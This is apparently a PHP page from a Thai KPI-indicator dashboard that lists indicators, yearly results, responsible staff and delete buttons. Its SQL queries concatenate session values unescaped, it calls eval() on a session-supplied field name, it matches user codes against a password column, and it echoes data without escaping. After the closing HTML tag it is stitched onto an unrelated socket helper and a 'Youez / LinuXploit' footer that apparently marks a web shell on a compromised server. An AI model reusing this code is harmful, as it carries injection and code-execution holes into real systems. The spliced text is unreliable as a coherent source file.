            <option value="red"   <?php if($_SESSION['work']=='red')   echo 'selected'; ?>>ไม่ผ่าน</option>
            <option value="null"  <?php if($_SESSION['work']=='null')  echo 'selected'; ?>>ไม่มีผลงาน</option>
        </select>
    </td>

    <!-- Login / Logout -->
    <td align="center" style="padding: 6px 12px; white-space: nowrap;">
        <?php if ($_SESSION["uDept"] == 'NA'): ?>
            <a href="login.php" style="text-decoration:none;">
                <img src="image/user.gif" width="28" height="28" border="0" 
                     style="vertical-align:middle; margin-bottom:2px;"><br>
                <span style="color:#fff; font-size:11px;">Login</span>
            </a>
        <?php else: ?>
            <img src="image/log_off.png" width="28" height="28" border="0"
                 style="vertical-align:middle; cursor:pointer; margin-bottom:2px;"
                 onclick="changeFunc('yes')"
                 title="ออกจากระบบ"><br>
            <span style="color:#fff; font-size:11px; cursor:pointer;" 
                  onclick="changeFunc('yes')">Logout</span>
        <?php endif; ?>
    </td>

    <!-- ชื่อผู้ใช้ -->
    <td align="right" style="padding: 6px 14px; white-space: nowrap;">
        <span style="color:#cce; font-size:11px;">ผู้ใช้งาน</span><br>
        <span style="color:#fff; font-size:13px; font-weight:bold;">
            <?php echo $_SESSION["cUserName"]; ?>
        </span><br>
        <span style="color:#adf; font-size:11px;">
            <?php echo $_SESSION["uDept"]; ?>
        </span>
    </td>

  </tr>
</table>

<?php
$sql="select b.id_no,b.dept,b.indicators,b.HA,b.PA,b.HPT,b.GA,b.KFA,b.T_NO,Team,b.name1,b.name2,b.name,b.def ,b.graph from  indicators b where b.active = 'Y' ";
if ($_SESSION['deptRep'] <>'All' ) {
    //if($_SESSION['Team']='E') $sql .=" AND b.".$_SESSION['resp'] ='T_NO';
	if ($_SESSION['deptRep'] == 'Adm' ) $sql .=" AND instr(b.name,'".$usr."') " ;
	else 
	$sql .=" AND instr(b.dept,'".$_SESSION['deptRep']."')" ;
}
if ($_SESSION['resp'] <> 'All' ) {
   
	$sql.= " AND b." .$_SESSION['resp']." is not null  AND b.".$_SESSION['resp']." <> '' order by b.".$_SESSION['resp'];
}
else 
        $sql .= " AND H<>'Y' order by id_no";
//else  $sql .= " order by id_no";
//echo $sql.'<br>';

//echo $sql;      // เอาไว้ อ่านทบทวน ค่ำสั่ง SQL
?>
<br>
<!--   <table width="1700" height="63" border="2" align="center" cellpadding="3"  bgcolor="#FFFFFF" style="border-radius: 8px; ">
  <tr>
    <td width="75" align="center" style="color:#fff;  background: linear-gradient(135deg, #1a3a5c, #2d6a9f); border-radius: 8px; 
              padding: 10px; margin-bottom: 8px; box-shadow: 0 2px 6px rgba(0,0,0,0.3);"><strong>&nbsp;<?php 
		if ($_SESSION['resp'] <> 'All' ) echo $_SESSION['resp'];
		else 
		echo 'ID_NO';
		
	?></strong>
	</td>
    <td width="500" align="center"    style="color:#fff;  background: linear-gradient(135deg, #1a3a5c, #2d6a9f); border-radius: 8px; 
              padding: 10px; margin-bottom: 8px; box-shadow: 0 2px 6px rgba(0,0,0,0.3);"><strong> ตัวชี้วัด  &nbsp; Indicators</strong></td>
    <td width="94" align="center"  style="color:#fff;  background: linear-gradient(135deg, #1a3a5c, #2d6a9f); border-radius: 8px; 
              padding: 10px; margin-bottom: 8px; box-shadow: 0 2px 6px rgba(0,0,0,0.3);"><strong> ค่าเป้าหมาย &nbsp;</strong></td>
   <td width="54" align="center" bgcolor="#CCCCCC"><strong> ปี <? echo $year+537;?></strong></td>
    <td width="54" align="center" bgcolor="#CCCCCC"><strong> ปี <? echo $year+538;?></strong></td>
   <td width="70" align="center"  bgcolor="#CCCCCC"><strong> ปี <? echo $year+539;?></strong></td>
    <td width="70" align="center"  bgcolor="#CCCCCC"><strong> ปี <? echo $year+540;?></strong></td>
    <td width="70" align="center" bgcolor="#CCCCCC"><strong> ปี <? echo $year+541;?></strong></td>
    <td width="70" align="center" bgcolor="#CCCCCC"><strong> ปี <? echo $year+542;?></strong></td>
    <td width="70" align="center"  style="color:#fff;  background: linear-gradient(135deg, #1a3a5c, #2d6a9f); border-radius: 8px; 
              padding: 10px; margin-bottom: 8px; box-shadow: 0 2px 6px rgba(0,0,0,0.3);"><strong> ปี <? echo $year+543;?></strong></td>
	<td width="100" align="center"  style="color:#fff;  background: linear-gradient(135deg, #1a3a5c, #2d6a9f); border-radius: 8px; 
              padding: 10px; margin-bottom: 8px; box-shadow: 0 2px 6px rgba(0,0,0,0.3);"><strong>กลุ่มงาน</strong></td>
	<td width="120" align="center"  style="color:#fff;  background: linear-gradient(135deg, #1a3a5c, #2d6a9f); border-radius: 8px; 
              padding: 10px; margin-bottom: 8px; box-shadow: 0 2px 6px rgba(0,0,0,0.3);"><strong>ผู้รับผิดชอบ</strong></td>
	<td width="60" align="center" style="color:#fff;  background: linear-gradient(135deg, #1a3a5c, #2d6a9f); border-radius: 8px; 
              padding: 10px; margin-bottom: 8px; box-shadow: 0 2px 6px rgba(0,0,0,0.3);"><strong>การจัดการ</strong></td>
  </tr> -->
  <table class="kpi-table">
  <thead>
    <tr>

      <td width="75">
        <strong>
          <?php echo ($_SESSION['resp'] != 'All') ? $_SESSION['resp'] : 'ID'; ?>
        </strong>
      </td>

      <td width="500">
        <strong>ตัวชี้วัด / Indicators</strong>
      </td>

      <td width="94">
        <strong>เป้าหมาย</strong>
      </td>

      <!-- ปีย้อนหลัง 4 ปี -->
      <td width="70" class="past-year"><strong><?php echo $year+539; ?></strong></td>
      <td width="70" class="past-year"><strong><?php echo $year+540; ?></strong></td>
      <td width="70" class="past-year"><strong><?php echo $year+541; ?></strong></td>
      <td width="70" class="past-year"><strong><?php echo $year+542; ?></strong></td>

      <!-- ปีปัจจุบัน -->
      <td width="70" class="current-year">
        <strong> <?php echo $year+543; ?></strong>
      </td>

      <td width="100"><strong>กลุ่มงาน</strong></td>
      <td width="120"><strong>ผู้รับผิดชอบ</strong></td>
      <td width="60"><strong>จัดการ</strong></td>

    </tr>
  </thead>

<?php
$nIndicators=0;
$nPass=0;
$nlIndicators=0;
$nlPass=0;
$nHpass=0;
$nHIndi=0;
$lastID='';
$result=mysql_query($sql);
while ($object = mysql_fetch_object($result)) {  // วน LOOP แต่ละ ID_NO ในตาราง indicators ที่ Active ='Y' (ไม่ได้ลบ)
    $deptList = $object -> dept;
    $id_no = $object -> id_no;
	$indicators=$object -> indicators;
	$name1=$object -> iname1;
	$name2=$object -> iname2;
	$def=$object -> def;
	$graph=$object -> graph;
	if ($_SESSION['resp'] <> 'All' )	eval ('$showid = $object ->'.$_SESSION['resp'].';');
	else $showid = $id_no;
	if ( substr($showid,-2,2)=='00') { //กรณีหัวข้อกลุ่ม
		$lastID=$showid;
		$nIndicators +=$nHIndi;
		$nPass += $nHpass;
		if ($_SESSION['resp']<> 'All'){
			if ( substr($showid,2,5)=='00000'){
				$color1='#880088';   //สีของหัวข้อหลัก <a>
				$color2='#0000ff';	  //สีของหัวข้อหลัก 
				$pb = '<br>';
				$pe='';
				$nHpass=0;
				$nHIndi=0;
				$colsp='10';
			} else {
				$color1='#0000ff';   //สีของหัวข้อรอง <a>
				$color2='#000000';	  //สีของหัวข้อรอง 
				$pb = '';
				$pe='';
				$nHpass=-0;
				$nHIndi=-0;
				$colsp='11';
			}
			echo '<tr height="24" >'; 
			if (InDept( $deptList,  $_SESSION['uDept'] ) || strpos($namecode,$usr ) ) {
					echo '<td >'.$pb.'<div align="center"><a href="add_report2.php?&id_no='.$id_no.'&goal=&eva=&compair=" style="color:'.$color1.';">'.$showid.'</a></div>'.$pe.'</td>';
					echo '<td colspan="'.$colsp.'">'.$pb.'<div align="left"><a href="add_report2.php?&id_no='.$id_no.'&goal=&eva=&compair=" style="color:'.$color1.';">'.$indicators.'</a></div>'.$pe.'</td>';
			} else {
				echo '<td >'.$pb.'<font color="'.$color2.'" ><div align="center">'.$showid.'</div></font>'.$pe.'</td>';
				echo '<td colspan="'.$colsp.'">'.$pb.'<font color="'.$color2.'" ><div align="left"  >'.$indicators.'</div></font>'.$pe.'</td>';
			}
			if ($colsp=='10'){
				/*echo '<td ><font color="'.$color2.'" ><div align="left"  >';
				if ($nIndicators > 0){
					echo  $nPass-$nlPass;
					echo ' / ';
					echo $nIndicators - $nlIndicators;
					
				} show ค่า sum ในแต่ละหัวข้อของ ภารกิจ */
				$nlIndicators=$nIndicators;
				$nlPass=$nPass;
				echo '</div></font></td>';
				
			}
			echo '</tr>';
		}
	 } else {
		//รายการย่อย
		$namecode =$object ->name ;
		$name ='';  							//ชื่อ user สำหรับแสดง
		while ($namecode <> ''){ 		//นำรหัสมาแปลงเป็นชื่อ ทีละคน
			if (strpos($namecode,',')){
				$i = strpos($namecode,',');
				$tcode = trim(substr($namecode,0,$i));
				$namecode =trim(substr($namecode,$i+1));
			}else{
				$tcode = trim($namecode);
				$namecode = '';
			}	
			$sql ="select username from users  where password='".$tcode."' limit 1";
			$resname=mysql_query($sql);
			while ($rec = mysql_fetch_object($resname)) {
				$sql = $rec-> username;
				if (strpos( $sql,' ')) $sql = substr($sql,0,strpos( $sql,' '));
				if ( $name =='') $name = $sql ;
				else $name.= ', '. $sql ;
			}
		} 
		$namecode =$object ->name ;
		$ntotalb =0;
		$cResult = '';
		$cReccord = '';
		$ntotalx = 0;
		$sql="select * from goal  where id_no=".$id_no." and  year <='".$year."'   order by year desc limit 3";  //ข้อมูล
		$rg=mysql_query($sql);
		while ($re = mysql_fetch_object($rg)) {
			if  ($re -> year == $year) {
				$ntotalb = $re -> totalb;
				$ntotalx = $re -> totalx;
				$cResult = $re -> result;
				$cReccord = $re -> data;
				$npos = strpos($cReccord,'{reg');
				if ( $npos >= 1 ) 	$cReccord = '0'.substr($cReccord,$npos+4);
				else $cReccord ='0';
				$no= $re -> no;
			}
			$compair = $re ->compair ; 	//การเทียบค่า
			$eva = $re ->eva ;    				//ค่า evaluation
			$goal = $re ->goal ;					//ค่าเป้าหมาย
			$cgoal = trim($compair).trim($goal).' '.trim($eva);
			if (!empty($goal) || !empty($eva)) break;
		}
		$cInlist = 'Y';
		if ($_SESSION['work'] <> 'All' ){   //ตรวจผลงาน เพื่อแสดงพื้นสี ประกอบด้วย
			if  ($_SESSION['work'] == 'null' ) {
				if ($ntotalb > 0) $cInlist = 'N';
			} else {
				if (trim($cResult)<>$_SESSION['work']) $cInlist='N';
			}
		}
		if ($cInlist=='Y') {
			$Ayear =array(array('green','-    '),array('green','    '),array('green','    '),array('green','    '),array('green','    ')
						,array('green','    '));
						
			$minYear = $year-6;
			$sql="select year,totalx,result,data from goal  where id_no=".$id_no." and  year >='".$minYear."' and year < '".$year."'";
			$resYear=mysql_query($sql);
			while ($rec = mysql_fetch_object($resYear)) {
				$nowY =$rec-> year;
				$nowY = 6-($year-$nowY );
				$Ayear[$nowY][1] = $rec-> totalx;
				$Ayear[$nowY][0] = ($rec-> result);
			}
			//<tr>
			if (substr($lastID,0,5) == substr($showid,0,5)) {   //เป็นข้อย่อย
				$lSub=true;
				$color1='#002255';   //สีของหัวข้อย่อย มี link
				$color2='#004499';	  //สีของหัวข้อย่อย 
			} else {																	//หัวข้อรายการปกติ		
				$lSub=false;
				$color1='#0000ff';   //สีของหัวข้อปกติ	 มี link
				$color2='#000000';	 
			}
			echo '<tr height="24" >'; 
			if (InDept( $deptList,  $_SESSION['uDept'] ) || strpos($namecode,$usr ) ) {
					echo '<td ><div align="center"><a href="add_report2.php?&id_no='.$id_no.'&goal='.$goal.'&eva='.$eva.'&compair='.$compair.'" style="color:'.$color1.';">'.$showid.'</a></div></td>';
					echo '<td ><div align="left"><a href="add_report2.php?&id_no='.$id_no.'&goal='.$goal.'&eva='.$eva.'&compair='.$compair.'" style="color:'.$color1.';">'.$indicators.'</a></div></td>';
			} else {
				echo '<td ><font color="'.$color2.'" ><div align="center">'.$showid.'</div></font></td>';
				echo '<td ><font color="'.$color2.'" ><div align="left"  >'.$indicators.'</div></font></td>';
			}
			echo '<td align="center"><div align="center" class="tooltip">'.$cgoal .'<span class="tooltiptext">'.$def.'</span></div></td>';
			for ($i = 2; $i <= 6; $i++) {   // ---   แสดง ข้อมูล ย้อนหลัง 6 ปี
				$show = '<td  align="right" ';
				if ($i==6 && $ntotalb == 0) {  //ปีล่าสุด
					if (strpos($cReccord,'1') > 0) $show.='bgcolor="#CCFFE5"';
					else $show.='bgcolor="#FFFF00"';
				}
				$show.=' bordercolor="#FFFFFF"><a href="#" onclick="RedirectURL(\''.$id_no.
				'\',\''.($year+(537+$i)).'\',\''.$indicators.'\');return false;" target="_parent" class="style14" 
				style="text-decoration: none;"><font color="';
				if ($i == 6){									//ปีเป้าหมาย
					$show .=$cResult.'">'.$ntotalx.'</font></a></td>';
					if ($lSub) {
						if ($cResult=='red') 	$nHpass =0;;
					} else  {
							$nIndicators += $nHIndi+1;
							$nHIndi =0;
							$nPass += $nHpass;
							if ($cResult=='green') 	$nPass += 1;		//ผลงานผ่านตัวชีวัด
							$nHpass =0;
					} 
				}	
				else $show .=$Ayear[$i][0].'">'.$Ayear[$i][1].'</font></a></td>';
				echo $show;
			}
			if (substr_count($deptList,',') > 1) echo '<td align="center"><div class="tooltip">'.$deptList.'<span class="tooltiptext">'. DeptName($deptList).'</span></div></td>';
			else echo '<td>'.DeptName($deptList).'</td>';
			echo '<td align="center">' . $name . '</td>';
// เงื่อนไขใหม่
$canDelete = false;
$canEdit   = false;

if ($_SESSION["uDept"] == 'All') {
        // Admin ลบได้ทุกตัว
		$canEdit   = true;
        $canDelete = true;
    } elseif ($_SESSION["userStatus"] == 1) {
    // status=1 แก้ไขได้เฉพาะ dept ตัวเอง, ลบได้เฉพาะ dept ตัวเอง
    $canEdit   = InDept($deptList, $_SESSION["uDept"]);
    $canDelete = InDept($deptList, $_SESSION["uDept"]);

	} elseif ($_SESSION["userStatus"] == 0) {
    // status=0 แก้ไขได้เฉพาะตัวที่ตัวเองรับผิดชอบ (name field), ลบไม่ได้
    $canEdit   = (strpos($namecode, $usr) !== false);
    $canDelete = false;
}




// แสดงปุ่มลบ
if ($canDelete) {
    echo '
    <td align="center">
        <form method="POST" action=""
              onsubmit="return confirm(\'ยืนยันการลบ: '.addslashes($indicators).' ?\')">
            <input type="hidden" name="id_no" value="'.$id_no.'">
            <input type="submit" name="delete" value="ลบตัวชี้วัด"
                style="background-color:#ff4444; color:white; border:none;
                       padding:4px 10px; border-radius:4px; cursor:pointer; font-size:12px;">
        </form>
    </td>';
} else {
    echo '<td></td>';
}

echo '</tr>';
		//</tr>
		}
	}
 }
$nIndicators +=$nHIndi;
$nPass += $nHpass;
/*if ($nIndicators > 0){
	echo '<tr height="24" >'; 
	echo '<td colspan="11"></td><td><font color="#000000"><div align="left"  >';
	echo  $nPass-$nlPass;
	echo ' / ';
	echo $nIndicators - $nlIndicators;
	echo '</div></font></td></tr>';
}*/
?>
</table>
<table class="kpi-table kpi-summary">
<thead>
  <tr>
    <td width="220" align="center">
	<strong>&nbsp;จำนวนตัวชี้วัดทั้งหมด</strong>
	</td>
	
	<td align="center">
	<strong><?php echo $nIndicators; ?></strong>
	</td>
	
	<td align="center">
	ผ่านเป้าหมาย :
	<strong><?php echo $nPass; ?></strong>
	</td>
	
	<td  align="center">
	ผ่านเป้าหมาย :
	<strong><?php echo $nIndicators > 0 ? number_format($nPass*100/$nIndicators,2) : '0.00'; ?> %</strong>
	</td> 
	
	</tr>	
	</thead>
</table>
<?php
 function InDept($i_Dept,$u_Dept){
	if ($u_Dept=='All,') return true;
	if (trim($i_Dept)=='' || $u_Dept=='NA') return false;
	while ($i_Dept<>''){
	 	$nAt = strpos($i_Dept,',');
		if ($nAt ) {
			$subc = substr($i_Dept,0,$nAt+1);
			if (substr_count($u_Dept,$subc) > 0) return true;
			$i_Dept = substr($i_Dept,$nAt+1);
		} else return false;
	}
	return false;
} 
function DeptName($cList){
	$cName='';
	while ($cList<>''){
	 	$nAt = strpos($cList,',');
		if ($nAt ) {
				$subc = substr($cList,0,$nAt);
				$cList = substr($cList,$nAt+1);
		} else {
				$subc = 'NA';
				$cList = '';
		}
		if ($subc <> 'NA'){
			if ($cName=='') $cName =$_SESSION['DeptName'][($subc+0)]; 
			else 	$cName .= ','.$_SESSION['DeptName'][($subc+0)]; 
		}
	}
	return $cName; //number_format($number, 2, '.', '');
}
?>
</body>
</html>
<?php
function socket_connect_timeout($host, $port, $timeout=100){

    $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);

    /**
     * Set the send and receive timeouts super low so that socket_connect
     * will return to us quickly. We then loop and check the real timeout
     * and check the socket error to decide if its conected yet or not.
     */
    $connect_timeval = array(
        "sec"=>0,
        "usec" => 100
    );
    socket_set_option(
        $socket,
        SOL_SOCKET,
        SO_SNDTIMEO,
        $connect_timeval
    );
    socket_set_option(
        $socket,
        SOL_SOCKET,
        SO_RCVTIMEO,
        $connect_timeval
    );

    $now = microtime(true);

    /**
     * Loop calling socket_connect. As long as the error is 115 (in progress)
     * or 114 (already called) and our timeout has not been reached, keep
     * trying.
     */
    $err = null;
    $socket_connected = false;
    do{
        socket_clear_error($socket);
        $socket_connected = @socket_connect($socket, $host, $port);
        $err = socket_last_error($socket);
        $elapsed = (microtime(true) - $now) * 1000;
    }
    while (($err === 115 || $err === 114) && $elapsed < $timeout);

    /**
     * For some reason, socket_connect can return true even when it is
     * not connected. Make sure it returned true the last error is zero
     */
    $socket_connected = $socket_connected && $err === 0;

    if($socket_connected){

        /**
         * Set keep alive on so the other side does not drop us
         */
        socket_set_option($socket, SOL_SOCKET, SO_KEEPALIVE, 1);

        /**
         * set the real send/receive timeouts here now that we are connected
         */
        $timeval = array(
            "sec" => 0,
            "usec" => 0
        );
        if($timeout >= 1000){
            $ts_seconds = $timeout / 1000;
            $timeval["sec"] = floor($ts_seconds);
            $timeval["usec"] = ($ts_seconds - $timeval["sec"]) * 1000000;
        } else {
            $timeval["usec"] = $timeout * 1000;
        }
        socket_set_option(
            $socket,
            SOL_SOCKET,
            SO_SNDTIMEO,
            $timeval
        );
        socket_set_option(
            $socket,
            SOL_SOCKET,
            SO_RCVTIMEO,
            $timeval
        );

    } else {

        $elapsed = round($elapsed, 4);

        if(!is_null($err) && $err !== 0 && $err !== 114 && $err !== 115){
            $message = "Failed to connect to $host:$port. ($err: ".socket_strerror($err)."; after {$elapsed}ms)";
        } else {
            $message = "Failed to connect to $host:$port. (timed out after {$elapsed}ms)";
        }

        throw new Exception($message);

    }

    return $socket;

}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit